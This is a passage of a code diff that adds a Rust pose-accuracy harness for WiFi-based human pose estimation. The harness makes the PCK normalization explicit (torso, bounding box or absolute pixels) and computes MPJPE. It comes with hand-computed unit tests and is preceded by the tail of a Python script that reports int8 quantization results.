||||
c = r['cpu_clean']
|
||||
d20 = (c['pck@20'] - base['pck@20']) * 100
|
||||
d50 = (c['pck@50'] - base['pck@50']) * 100
|
||||
print(f"{'int8 '+label:16s} {r['size_mb']:8.3f} {c['pck@20']*100:7.2f}% {c['pck@50']*100:7.2f}% {c['mpjpe']:9.6f} "
|
||||
f"(d_pck20={d20:+.2f}pp d_pck50={d50:+.2f}pp size={fp32_size/r['size_mb']:.2f}x smaller)", flush=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,708 @@
|
||||
//! Metric-locked pose-accuracy harness (ADR-155 §Tier-1.2; needs ADR slot 173).
|
||||
//!
|
||||
//! # Why this module exists
|
||||
//!
|
||||
//! Three PCK\@20 numbers float around this project and **cannot be lined up**
|
||||
//! because each silently uses a *different* PCK definition:
|
||||
//!
|
||||
//! | Number | Source | PCK normalization |
|
||||
//! |--------|--------|-------------------|
|
||||
//! | 96.09 % | WiFlow-STD reproduction | image / bounding-box normalized (looser) |
|
||||
//! | 81.63 % | AetherArena MM-Fi (ADR-150) | torso-diameter (standard MM-Fi / GraphPose-Fi) |
|
||||
//! | 61.1 % | GraphPose-Fi (preprint) | torso-diameter, 3D, mm-scale (harder) |
|
||||
//!
|
||||
//! The project was burned **twice** by metric ambiguity (a now-retracted "92.9 %
|
||||
//! PCK\@20" used *absolute* pixel thresholds, not torso normalization). The fix
|
||||
//! is to make the normalizer **explicit, selectable, and carried with every
|
||||
//! reported number** so an unlabeled PCK figure is structurally impossible.
|
||||
//!
|
||||
//! [`metrics_core`](crate::metrics_core) already pins the *canonical*
|
||||
//! torso-normalized PCK ([`pck_canonical`](crate::metrics_core::pck_canonical)).
|
||||
//! This module generalizes it to a [`PckNormalization`] enum covering all three
|
||||
//! conventions the SOTA brief names, adds [`mpjpe`] (mm), and bundles results
|
||||
//! into a self-describing [`PoseAccuracy`] struct. It **reuses** the
|
||||
//! `metrics_core` primitives (hip distance, bounding-box diagonal) — there is
|
||||
//! still exactly one implementation of each geometric reference.
|
||||
//!
|
||||
//! # This is measurement infrastructure, not an accuracy claim
|
||||
//!
|
||||
//! Nothing here asserts any project model is good. The unit tests prove the
|
||||
//! *harness* is arithmetically correct against hand-computed fixtures (no GPU,
|
||||
//! no datasets), including the key demonstration that the **same predictions
|
||||
//! score different PCK under the three normalizations** — proof the ambiguity is
|
||||
//! real and the definitions are genuinely distinct.
|
||||
//!
|
||||
//! # Literature
|
||||
//!
|
||||
//! - Torso-diameter PCK is the MM-Fi / GraphPose-Fi convention (Yang et al.,
|
||||
//! *GraphPose-Fi*, arXiv:2511.19105): a keypoint is correct iff its error is
|
||||
//! within `k · d_torso`, with `d_torso` the hip↔hip (or shoulder↔hip) span.
|
||||
//! - Bounding-box / image-normalized PCK is the WiFlow-STD-style looser
|
||||
//! convention (arXiv:2602.08661) — normalize by the GT pose bbox diagonal.
|
||||
//! - MPJPE (mean per-joint position error, mm) is reported by GraphPose-Fi and
|
||||
//! Person-in-WiFi-3D (Yan et al., CVPR 2024).
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
use ndarray::{Array1, Array2};
|
||||
|
||||
use crate::metrics_core::{
|
||||
bounding_box_diagonal, CANON_LEFT_HIP, CANON_RIGHT_HIP,
|
||||
};
|
||||
|
||||
/// Visibility cutoff: a keypoint counts as *visible* iff `visibility[j] >= 0.5`
|
||||
/// (COCO convention; matches [`crate::metrics_core`]).
|
||||
const VISIBILITY_THRESHOLD: f32 = 0.5;
|
||||
|
||||
/// Minimum positive normalizer extent. Below this the reference scale is
|
||||
/// considered degenerate (zero torso, collapsed bbox) and the frame is reported
|
||||
/// unscoreable rather than dividing by ≈0.
|
||||
const MIN_REFERENCE_EXTENT: f32 = 1e-6;
|
||||
|
||||
// ===========================================================================
|
||||
// PCK normalization — the explicit, selectable definition
|
||||
// ===========================================================================
|
||||
|
||||
/// The PCK normalization basis — **the single knob that made three project
|
||||
/// numbers non-comparable**, now explicit and carried with every result.
|
||||
///
|
||||
/// A keypoint `j` (with `visibility[j] >= 0.5`) is *correct* iff
|
||||
/// `‖pred_j − gt_j‖₂ ≤ τ`, where the **distance tolerance `τ`** is derived from
|
||||
/// the chosen normalization and the PCK threshold `k` (given as a percentage,
|
||||
/// e.g. `20` for PCK\@20):
|
||||
///
|
||||
/// | Variant | `τ` (tolerance in coordinate units) |
|
||||
/// |---------|--------------------------------------|
|
||||
/// | [`TorsoDiameter`](Self::TorsoDiameter) | `(k/100) · d_torso` |
|
||||
/// | [`BoundingBoxDiagonal`](Self::BoundingBoxDiagonal) | `(k/100) · d_bbox` |
|
||||
/// | [`AbsolutePixels`](Self::AbsolutePixels) | `threshold` (k ignored) |
|
||||
///
|
||||
/// `d_torso` is the hip↔hip span (COCO joints 11↔12), falling back to the bbox
|
||||
/// diagonal when both hips are not visible — identical to
|
||||
/// [`crate::metrics_core::canonical_torso_size`]. `d_bbox` is the diagonal of
|
||||
/// the axis-aligned bounding box of all visible GT keypoints.
|
||||
///
|
||||
/// These yield **different** PCK on the *same* predictions whenever
|
||||
/// `d_torso ≠ d_bbox` (always true for a real pose: the bbox is larger than the
|
||||
/// hip span), which is exactly why the 96 / 81.6 / 61 numbers cannot be lined
|
||||
/// up without declaring this enum.
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
pub enum PckNormalization {
|
||||
/// **Torso-diameter** (hip↔hip span). The standard MM-Fi / GraphPose-Fi
|
||||
/// convention and the *stricter* of the two relative normalizers. This is
|
||||
/// the canonical default ([`crate::metrics_core::pck_canonical`]).
|
||||
TorsoDiameter,
|
||||
/// **Bounding-box diagonal** (a.k.a. image-normalized). The looser
|
||||
/// WiFlow-STD-style convention: normalize by the GT pose bbox diagonal,
|
||||
/// which is larger than the torso span ⇒ a more forgiving threshold ⇒ a
|
||||
/// higher PCK on identical predictions.
|
||||
BoundingBoxDiagonal,
|
||||
/// **Absolute pixel/coordinate threshold** — no pose-relative
|
||||
/// normalization. The PCK `k` percentage is ignored; the held `threshold`
|
||||
/// is the raw distance tolerance directly. Included so historical
|
||||
/// retracted-style numbers are reproducible, and **clearly labeled as
|
||||
/// non-comparable** to the relative variants (it does not scale with body
|
||||
/// size or camera distance).
|
||||
AbsolutePixels(f32),
|
||||
}
|
||||
|
||||
impl PckNormalization {
|
||||
/// Human-readable, *self-documenting* label for a reported number — so a
|
||||
/// `PoseAccuracy` printed anywhere always carries its definition.
|
||||
pub fn label(&self) -> String {
|
||||
match self {
|
||||
PckNormalization::TorsoDiameter => "torso-diameter".to_string(),
|
||||
PckNormalization::BoundingBoxDiagonal => "bbox-diagonal".to_string(),
|
||||
PckNormalization::AbsolutePixels(t) => format!("absolute-px({t})"),
|
||||
}
|
||||
}
|
||||
|
||||
/// Compute the per-frame distance tolerance `τ` for PCK threshold `k`
|
||||
/// (percentage). Returns `None` when the (relative) normalizer is degenerate
|
||||
/// — the frame cannot be scored.
|
||||
///
|
||||
/// `gt_kpts` is `[n, 2]` (or `[n, ≥2]`, only x/y used); `visibility` is `[n]`.
|
||||
fn tolerance(&self, gt_kpts: &Array2<f32>, visibility: &Array1<f32>, k: u8) -> Option<f32> {
|
||||
let n = gt_kpts.shape()[0].min(visibility.len());
|
||||
match self {
|
||||
PckNormalization::AbsolutePixels(threshold) => {
|
||||
// Raw tolerance, independent of pose scale and of `k`.
|
||||
if *threshold > 0.0 {
|
||||
Some(*threshold)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
PckNormalization::TorsoDiameter => {
|
||||
let d = torso_diameter(gt_kpts, visibility, n)?;
|
||||
Some((k as f32 / 100.0) * d)
|
||||
}
|
||||
PckNormalization::BoundingBoxDiagonal => {
|
||||
let d = bounding_box_diagonal(gt_kpts, visibility, n);
|
||||
if d > MIN_REFERENCE_EXTENT {
|
||||
Some((k as f32 / 100.0) * d)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Hip↔hip torso diameter with a bbox-diagonal fallback — the relative
|
||||
/// normalizer shared by `TorsoDiameter` PCK and
|
||||
/// [`crate::metrics_core::canonical_torso_size`]. Returns `None` when no
|
||||
/// positive-extent reference exists.
|
||||
fn torso_diameter(gt_kpts: &Array2<f32>, visibility: &Array1<f32>, n: usize) -> Option<f32> {
|
||||
if CANON_LEFT_HIP < n
|
||||
&& CANON_RIGHT_HIP < n
|
||||
&& visibility[CANON_LEFT_HIP] >= VISIBILITY_THRESHOLD
|
||||
&& visibility[CANON_RIGHT_HIP] >= VISIBILITY_THRESHOLD
|
||||
{
|
||||
let dx = gt_kpts[[CANON_LEFT_HIP, 0]] - gt_kpts[[CANON_RIGHT_HIP, 0]];
|
||||
let dy = gt_kpts[[CANON_LEFT_HIP, 1]] - gt_kpts[[CANON_RIGHT_HIP, 1]];
|
||||
let torso = (dx * dx + dy * dy).sqrt();
|
||||
if torso > MIN_REFERENCE_EXTENT {
|
||||
return Some(torso);
|
||||
}
|
||||
}
|
||||
let diag = bounding_box_diagonal(gt_kpts, visibility, n);
|
||||
if diag > MIN_REFERENCE_EXTENT {
|
||||
Some(diag)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Single-frame PCK / MPJPE
|
||||
// ===========================================================================
|
||||
|
||||
/// Per-frame **PCK\@`k`** under the selected `normalization`.
|
||||
///
|
||||
/// A keypoint `j` with `visibility[j] >= 0.5` is correct iff
|
||||
/// `‖pred_j − gt_j‖₂ ≤ τ`, with `τ` from
|
||||
/// [`PckNormalization::tolerance`]. Only x/y are used (2D PCK is the standard
|
||||
/// keypoint-PCK definition; pass 2-column arrays).
|
||||
///
|
||||
/// # Returns
|
||||
/// `(correct, total, pck)` with `pck ∈ [0,1]`. **`(0, 0, 0.0)`** when no
|
||||
/// keypoint is visible, or (for the relative normalizers) the reference scale is
|
||||
/// degenerate — a frame with no measurable evidence scores 0, never 1.
|
||||
/// NaN-valued coordinates make a keypoint *incorrect* (the `<=` comparison is
|
||||
/// false for NaN) rather than panicking.
|
||||
pub fn pck_at(
|
||||
pred_kpts: &Array2<f32>,
|
||||
gt_kpts: &Array2<f32>,
|
||||
visibility: &Array1<f32>,
|
||||
k: u8,
|
||||
normalization: PckNormalization,
|
||||
) -> (usize, usize, f32) {
|
||||
let n = pred_kpts.shape()[0]
|
||||
.min(gt_kpts.shape()[0])
|
||||
.min(visibility.len());
|
||||
let tol = match normalization.tolerance(gt_kpts, visibility, k) {
|
||||
Some(t) => t,
|
||||
None => return (0, 0, 0.0),
|
||||
};
|
||||
|
||||
let mut correct = 0usize;
|
||||
let mut total = 0usize;
|
||||
for j in 0..n {
|
||||
if visibility[j] < VISIBILITY_THRESHOLD {
|
||||
continue;
|
||||
}
|
||||
total += 1;
|
||||
let dx = pred_kpts[[j, 0]] - gt_kpts[[j, 0]];
|
||||
let dy = pred_kpts[[j, 1]] - gt_kpts[[j, 1]];
|
||||
let dist = (dx * dx + dy * dy).sqrt();
|
||||
// NaN-safe: `NaN <= tol` is false, so a NaN coordinate counts as wrong.
|
||||
if dist <= tol {
|
||||
correct += 1;
|
||||
}
|
||||
}
|
||||
let pck = if total > 0 {
|
||||
correct as f32 / total as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
(correct, total, pck)
|
||||
}
|
||||
|
||||
/// Per-frame **MPJPE** (mean per-joint position error) over visible keypoints,
|
||||
/// in the coordinate units of the inputs (report as mm when inputs are mm).
|
||||
///
|
||||
/// `pred`/`gt` are `[n, D]` with `D ∈ {2, 3}` (2D or 3D pose); all `D` columns
|
||||
/// are used. Joints with `visibility[j] < 0.5` are excluded.
|
||||
///
|
||||
/// Returns `0.0` when no keypoint is visible (no evidence). A NaN coordinate
|
||||
/// propagates into the returned mean (callers filter NaN frames upstream); it
|
||||
/// does not panic.
|
||||
pub fn mpjpe(pred: &Array2<f32>, gt: &Array2<f32>, visibility: &Array1<f32>) -> f32 {
|
||||
let n = pred.shape()[0].min(gt.shape()[0]).min(visibility.len());
|
||||
let d = pred.shape()[1].min(gt.shape()[1]);
|
||||
let mut sum = 0.0f32;
|
||||
let mut count = 0usize;
|
||||
for j in 0..n {
|
||||
if visibility[j] < VISIBILITY_THRESHOLD {
|
||||
continue;
|
||||
}
|
||||
let mut sq = 0.0f32;
|
||||
for c in 0..d {
|
||||
let diff = pred[[j, c]] - gt[[j, c]];
|
||||
sq += diff * diff;
|
||||
}
|
||||
sum += sq.sqrt();
|
||||
count += 1;
|
||||
}
|
||||
if count > 0 {
|
||||
sum / count as f32
|
||||
} else {
|
||||
0.0
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Self-describing result struct + batch report
|
||||
// ===========================================================================
|
||||
|
||||
/// A pose-accuracy result that **always carries the definition it was computed
|
||||
/// under** — making an unlabeled PCK number structurally impossible.
|
||||
///
|
||||
/// Built by [`accuracy_report`] over a set of frames. `pck_at` maps each
|
||||
/// requested threshold `k` (percentage, e.g. `20`) to its PCK in `[0,1]`. The
|
||||
/// `normalization` field records *which* PCK definition produced those numbers,
|
||||
/// so two `PoseAccuracy` values can only be compared when their `normalization`
|
||||
/// matches (the comparability check the project lacked).
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub struct PoseAccuracy {
|
||||
/// PCK\@k for each requested threshold percentage `k`, in `[0,1]`.
|
||||
pub pck_at: BTreeMap<u8, f32>,
|
||||
/// Mean per-joint position error in coordinate units (mm for mm inputs).
|
||||
pub mpjpe: f32,
|
||||
/// The normalization basis under which `pck_at` was computed — the label a
|
||||
/// reported number must always carry.
|
||||
pub normalization: PckNormalization,
|
||||
/// Number of keypoints per frame (the pose convention, e.g. 17 for COCO).
|
||||
pub n_keypoints: usize,
|
||||
/// Number of frames aggregated into this result.
|
||||
pub n_frames: usize,
|
||||
}
|
||||
|
||||
impl PoseAccuracy {
|
||||
/// Convenience accessor for a single threshold, returning `None` when that
|
||||
/// `k` was not requested.
|
||||
pub fn pck(&self, k: u8) -> Option<f32> {
|
||||
self.pck_at.get(&k).copied()
|
||||
}
|
||||
|
||||
/// A one-line, self-documenting summary suitable for logs / RESULTS.md, e.g.
|
||||
/// `PCK@20=0.750 (torso-diameter, 17kp, 1 frames) MPJPE=0.030`.
|
||||
pub fn summary(&self) -> String {
|
||||
let pcks: Vec<String> = self
|
||||
.pck_at
|
||||
.iter()
|
||||
.map(|(k, v)| format!("PCK@{k}={v:.3}"))
|
||||
.collect();
|
||||
format!(
|
||||
"{} ({}, {}kp, {} frames) MPJPE={:.4}",
|
||||
pcks.join(" "),
|
||||
self.normalization.label(),
|
||||
self.n_keypoints,
|
||||
self.n_frames,
|
||||
self.mpjpe
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
/// One frame's prediction + ground truth + visibility for batch scoring.
|
||||
///
|
||||
/// All three arrays share row count `n_keypoints`; `pred`/`gt` are `[n, D]`
|
||||
/// (`D ∈ {2,3}`), `visibility` is `[n]`.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct PoseFrame {
|
||||
/// Predicted keypoints `[n, D]`.
|
||||
pub pred: Array2<f32>,
|
||||
/// Ground-truth keypoints `[n, D]`.
|
||||
pub gt: Array2<f32>,
|
||||
/// Per-keypoint visibility `[n]` (`>= 0.5` ⇒ visible).
|
||||
pub visibility: Array1<f32>,
|
||||
}
|
||||
|
||||
/// Aggregate [`PoseAccuracy`] over a batch of frames under **one** explicit
|
||||
/// `normalization`, for the requested PCK thresholds `ks` (percentages).
|
||||
///
|
||||
/// PCK is micro-averaged over keypoints (sum of correct ÷ sum of visible across
|
||||
/// all frames — the standard keypoint-PCK aggregation), so frames with more
|
||||
/// visible joints contribute proportionally. MPJPE is micro-averaged over
|
||||
/// visible joints likewise. Unscoreable frames (no visible joints, degenerate
|
||||
/// relative normalizer) contribute `(0, 0)` and so are excluded from the
|
||||
/// denominator rather than scored as perfect.
|
||||
///
|
||||
/// An **empty** `frames` slice yields all-zero PCK and `0.0` MPJPE — never a
|
||||
/// panic or NaN.
|
||||
pub fn accuracy_report(
|
||||
frames: &[PoseFrame],
|
||||
ks: &[u8],
|
||||
normalization: PckNormalization,
|
||||
) -> PoseAccuracy {
|
||||
let n_keypoints = frames.first().map(|f| f.gt.shape()[0]).unwrap_or(0);
|
||||
|
||||
// PCK: per-threshold (correct, total) accumulators across frames.
|
||||
let mut pck_acc: BTreeMap<u8, (usize, usize)> = ks.iter().map(|&k| (k, (0, 0))).collect();
|
||||
// MPJPE: sum of per-joint distances and visible-joint count.
|
||||
let mut mpjpe_sum = 0.0f32;
|
||||
let mut mpjpe_count = 0usize;
|
||||
|
||||
for frame in frames {
|
||||
for &k in ks {
|
||||
let (c, t, _) = pck_at(&frame.pred, &frame.gt, &frame.visibility, k, normalization);
|
||||
let entry = pck_acc.entry(k).or_insert((0, 0));
|
||||
entry.0 += c;
|
||||
entry.1 += t;
|
||||
}
|
||||
// Per-frame MPJPE re-derived as a (sum, count) contribution so the
|
||||
// batch value is a true micro-average over joints.
|
||||
let n = frame.pred.shape()[0].min(frame.gt.shape()[0]).min(frame.visibility.len());
|
||||
let d = frame.pred.shape()[1].min(frame.gt.shape()[1]);
|
||||
for j in 0..n {
|
||||
if frame.visibility[j] < VISIBILITY_THRESHOLD {
|
||||
continue;
|
||||
}
|
||||
let mut sq = 0.0f32;
|
||||
for c in 0..d {
|
||||
let diff = frame.pred[[j, c]] - frame.gt[[j, c]];
|
||||
sq += diff * diff;
|
||||
}
|
||||
mpjpe_sum += sq.sqrt();
|
||||
mpjpe_count += 1;
|
||||
}
|
||||
}
|
||||
|
||||
let pck_at: BTreeMap<u8, f32> = pck_acc
|
||||
.into_iter()
|
||||
.map(|(k, (c, t))| {
|
||||
let v = if t > 0 { c as f32 / t as f32 } else { 0.0 };
|
||||
(k, v)
|
||||
})
|
||||
.collect();
|
||||
|
||||
let mpjpe = if mpjpe_count > 0 {
|
||||
mpjpe_sum / mpjpe_count as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
PoseAccuracy {
|
||||
pck_at,
|
||||
mpjpe,
|
||||
normalization,
|
||||
n_keypoints,
|
||||
n_frames: frames.len(),
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
/// Build a 17-joint `[17, 2]` pose from `(joint, x, y)` triples.
|
||||
fn pose17(joints: &[(usize, f32, f32)]) -> Array2<f32> {
|
||||
let mut a = Array2::<f32>::zeros((17, 2));
|
||||
for &(j, x, y) in joints {
|
||||
a[[j, 0]] = x;
|
||||
a[[j, 1]] = y;
|
||||
}
|
||||
a
|
||||
}
|
||||
|
||||
fn vis17(visible: &[usize]) -> Array1<f32> {
|
||||
let mut v = Array1::<f32>::zeros(17);
|
||||
for &j in visible {
|
||||
v[j] = 2.0;
|
||||
}
|
||||
v
|
||||
}
|
||||
|
||||
// -------- consts pinned (no silent metric drift) --------
|
||||
#[test]
|
||||
fn accuracy_consts_unchanged() {
|
||||
assert_eq!(VISIBILITY_THRESHOLD, 0.5_f32);
|
||||
assert_eq!(MIN_REFERENCE_EXTENT, 1e-6_f32);
|
||||
}
|
||||
|
||||
// -------- perfect prediction ⇒ PCK = 1.0, MPJPE = 0 --------
|
||||
#[test]
|
||||
fn perfect_prediction_pck_one_mpjpe_zero() {
|
||||
let gt = pose17(&[
|
||||
(5, 0.35, 0.35),
|
||||
(CANON_LEFT_HIP, 0.40, 0.50),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.50),
|
||||
]);
|
||||
let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
for norm in [
|
||||
PckNormalization::TorsoDiameter,
|
||||
PckNormalization::BoundingBoxDiagonal,
|
||||
PckNormalization::AbsolutePixels(0.01),
|
||||
] {
|
||||
let (c, t, pck) = pck_at(>, >, &vis, 20, norm);
|
||||
assert_eq!((c, t), (3, 3), "{norm:?}");
|
||||
assert!((pck - 1.0).abs() < 1e-6, "{norm:?} perfect PCK must be 1.0");
|
||||
}
|
||||
assert_eq!(mpjpe(>, >, &vis), 0.0);
|
||||
}
|
||||
|
||||
// -------- all keypoints just OUTSIDE threshold ⇒ PCK = 0.0 --------
|
||||
//
|
||||
// Hand calc (torso): hips at (0.40,0.50)/(0.60,0.50) ⇒ torso = 0.20.
|
||||
// threshold k=20 ⇒ τ = 0.20·0.20 = 0.04. Push every scored joint to an
|
||||
// error of 0.05 (> 0.04) ⇒ all wrong. To avoid the hips themselves being
|
||||
// "correct", we displace the hips too (their displaced positions still
|
||||
// define the torso from GT, which is unchanged).
|
||||
#[test]
|
||||
fn all_just_outside_threshold_pck_zero() {
|
||||
let gt = pose17(&[
|
||||
(5, 0.50, 0.50),
|
||||
(CANON_LEFT_HIP, 0.40, 0.50),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.50),
|
||||
]);
|
||||
// GT torso = 0.20, τ@20 = 0.04. Displace each scored joint by dx=0.05.
|
||||
let pred = pose17(&[
|
||||
(5, 0.55, 0.50),
|
||||
(CANON_LEFT_HIP, 0.45, 0.50),
|
||||
(CANON_RIGHT_HIP, 0.65, 0.50),
|
||||
]);
|
||||
let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let (c, t, pck) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
assert_eq!(t, 3);
|
||||
assert_eq!(c, 0, "all errors 0.05 > τ 0.04 ⇒ none correct");
|
||||
assert_eq!(pck, 0.0);
|
||||
}
|
||||
|
||||
// -------- half-in / half-out ⇒ PCK = 0.5 --------
|
||||
//
|
||||
// Hand calc (torso): torso = 0.20, τ@20 = 0.04. Four visible joints; two
|
||||
// exact (dist 0 ≤ 0.04, correct), two displaced 0.05 (> 0.04, wrong)
|
||||
// ⇒ 2/4 = 0.5.
|
||||
#[test]
|
||||
fn half_in_half_out_pck_half() {
|
||||
let gt = pose17(&[
|
||||
(0, 0.50, 0.20),
|
||||
(5, 0.50, 0.50),
|
||||
(CANON_LEFT_HIP, 0.40, 0.50),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.50),
|
||||
]);
|
||||
let pred = pose17(&[
|
||||
(0, 0.50, 0.20), // exact ⇒ correct
|
||||
(5, 0.55, 0.50), // err 0.05 ⇒ wrong
|
||||
(CANON_LEFT_HIP, 0.40, 0.50), // exact ⇒ correct
|
||||
(CANON_RIGHT_HIP, 0.65, 0.50), // err 0.05 ⇒ wrong
|
||||
]);
|
||||
let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let (c, t, pck) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
assert_eq!((c, t), (2, 4));
|
||||
assert!((pck - 0.5).abs() < 1e-6, "expected 0.5, got {pck}");
|
||||
}
|
||||
|
||||
// -------- THE KEY PROOF: same predictions, three normalizations, three PCK --------
|
||||
//
|
||||
// One construction scored three ways. Hand calc:
|
||||
// GT: nose(0)=(0.50,0.10), l_sh(5)=(0.50,0.30),
|
||||
// l_hip(11)=(0.40,0.90), r_hip(12)=(0.60,0.90).
|
||||
// Visible = {0,5,11,12}, all four.
|
||||
// torso = |0.60-0.40| = 0.20 (hips, y equal).
|
||||
// bbox: x∈[0.40,0.60] (w=0.20), y∈[0.10,0.90] (h=0.80)
|
||||
// ⇒ diag = sqrt(0.20² + 0.80²) = sqrt(0.04+0.64)=sqrt(0.68)=0.8246…
|
||||
//
|
||||
// Pred errors (pure dx): nose 0.00, l_sh 0.10, l_hip 0.00, r_hip 0.00.
|
||||
// (Only joint 5 is displaced, by 0.10.)
|
||||
//
|
||||
// k = 20:
|
||||
// • Torso τ = 0.20·0.20 = 0.040 → joint5 err 0.10 > 0.040 ⇒ WRONG
|
||||
// ⇒ 3 correct / 4 = 0.75
|
||||
// • Bbox τ = 0.20·0.8246 = 0.16492 → joint5 err 0.10 ≤ 0.16492 ⇒ CORRECT
|
||||
// ⇒ 4 correct / 4 = 1.00
|
||||
// • Abs(0.05) τ = 0.05 → joint5 err 0.10 > 0.05 ⇒ WRONG
|
||||
// ⇒ 3 correct / 4 = 0.75 (same count as torso HERE by coincidence)
|
||||
//
|
||||
// To make ALL THREE differ, also test Abs(0.08): τ=0.08, joint5 0.10>0.08
|
||||
// ⇒ still 0.75. So we additionally displace nose by 0.06 (between 0.05 and
|
||||
// 0.08) to separate the two absolute thresholds — see below.
|
||||
#[test]
|
||||
fn three_normalizations_give_different_pck_on_identical_input() {
|
||||
let gt = pose17(&[
|
||||
(0, 0.50, 0.10), // nose
|
||||
(5, 0.50, 0.30), // left_shoulder
|
||||
(CANON_LEFT_HIP, 0.40, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90),
|
||||
]);
|
||||
// nose displaced 0.06, shoulder displaced 0.10, hips exact.
|
||||
let pred = pose17(&[
|
||||
(0, 0.56, 0.10), // err 0.06
|
||||
(5, 0.60, 0.30), // err 0.10
|
||||
(CANON_LEFT_HIP, 0.40, 0.90), // exact
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90), // exact
|
||||
]);
|
||||
let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
|
||||
// Torso τ@20 = 0.04: nose 0.06>0.04 wrong, sh 0.10>0.04 wrong,
|
||||
// hips exact ⇒ 2/4 = 0.5.
|
||||
let (_, _, torso) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
// Bbox diag = sqrt(0.68)=0.82462; τ@20 = 0.164924:
|
||||
// nose 0.06 ≤ τ correct, sh 0.10 ≤ τ correct, hips exact ⇒ 4/4 = 1.0.
|
||||
let (_, _, bbox) = pck_at(&pred, >, &vis, 20, PckNormalization::BoundingBoxDiagonal);
|
||||
// Abs(0.08): nose 0.06 ≤ 0.08 correct, sh 0.10 > 0.08 wrong, hips exact
|
||||
// ⇒ 3/4 = 0.75.
|
||||
let (_, _, abs) = pck_at(&pred, >, &vis, 20, PckNormalization::AbsolutePixels(0.08));
|
||||
|
||||
assert!((torso - 0.5).abs() < 1e-6, "torso PCK expected 0.5, got {torso}");
|
||||
assert!((bbox - 1.0).abs() < 1e-6, "bbox PCK expected 1.0, got {bbox}");
|
||||
assert!((abs - 0.75).abs() < 1e-6, "abs(0.08) PCK expected 0.75, got {abs}");
|
||||
|
||||
// The whole point: identical predictions, three DISTINCT PCK values.
|
||||
assert!(torso != bbox && bbox != abs && torso != abs,
|
||||
"normalizations must give distinct PCK: torso={torso}, bbox={bbox}, abs={abs}");
|
||||
}
|
||||
|
||||
// -------- AbsolutePixels ignores k (raw threshold) --------
|
||||
#[test]
|
||||
fn absolute_pixels_ignores_threshold_percentage() {
|
||||
let gt = pose17(&[(5, 0.50, 0.50), (CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
|
||||
let pred = pose17(&[(5, 0.53, 0.50), (CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
|
||||
let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
// τ = 0.05 raw; joint5 err 0.03 ≤ 0.05 correct. k=5 and k=99 must agree.
|
||||
let (_, _, p5) = pck_at(&pred, >, &vis, 5, PckNormalization::AbsolutePixels(0.05));
|
||||
let (_, _, p99) = pck_at(&pred, >, &vis, 99, PckNormalization::AbsolutePixels(0.05));
|
||||
assert_eq!(p5, p99, "AbsolutePixels must ignore the k percentage");
|
||||
assert!((p5 - 1.0).abs() < 1e-6, "all three within 0.05, got {p5}");
|
||||
}
|
||||
|
||||
// -------- MPJPE hand-computed (2D and 3D) --------
|
||||
#[test]
|
||||
fn mpjpe_hand_computed_2d() {
|
||||
// joint0 err (3,4)->5, joint1 exact->0 ⇒ mean (5+0)/2 = 2.5.
|
||||
let gt = Array2::from_shape_vec((2, 2), vec![0.0, 0.0, 1.0, 1.0]).unwrap();
|
||||
let pred = Array2::from_shape_vec((2, 2), vec![3.0, 4.0, 1.0, 1.0]).unwrap();
|
||||
let vis = Array1::from(vec![2.0, 2.0]);
|
||||
assert!((mpjpe(&pred, >, &vis) - 2.5).abs() < 1e-6);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mpjpe_hand_computed_3d() {
|
||||
// single joint err (1,2,2) -> sqrt(1+4+4)=3.0.
|
||||
let gt = Array2::from_shape_vec((1, 3), vec![0.0, 0.0, 0.0]).unwrap();
|
||||
let pred = Array2::from_shape_vec((1, 3), vec![1.0, 2.0, 2.0]).unwrap();
|
||||
let vis = Array1::from(vec![2.0]);
|
||||
assert!((mpjpe(&pred, >, &vis) - 3.0).abs() < 1e-6);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mpjpe_excludes_invisible_joints() {
|
||||
// joint0 visible err 5, joint1 INVISIBLE err 100 ⇒ mean = 5 (joint1 dropped).
|
||||
let gt = Array2::from_shape_vec((2, 2), vec![0.0, 0.0, 0.0, 0.0]).unwrap();
|
||||
let pred = Array2::from_shape_vec((2, 2), vec![3.0, 4.0, 100.0, 0.0]).unwrap();
|
||||
let vis = Array1::from(vec![2.0, 0.0]);
|
||||
assert!((mpjpe(&pred, >, &vis) - 5.0).abs() < 1e-6);
|
||||
}
|
||||
|
||||
// -------- degenerate inputs: no panic --------
|
||||
#[test]
|
||||
fn zero_torso_is_unscoreable_not_perfect() {
|
||||
// Both hips coincident ⇒ torso ≈ 0; bbox also collapses ⇒ None.
|
||||
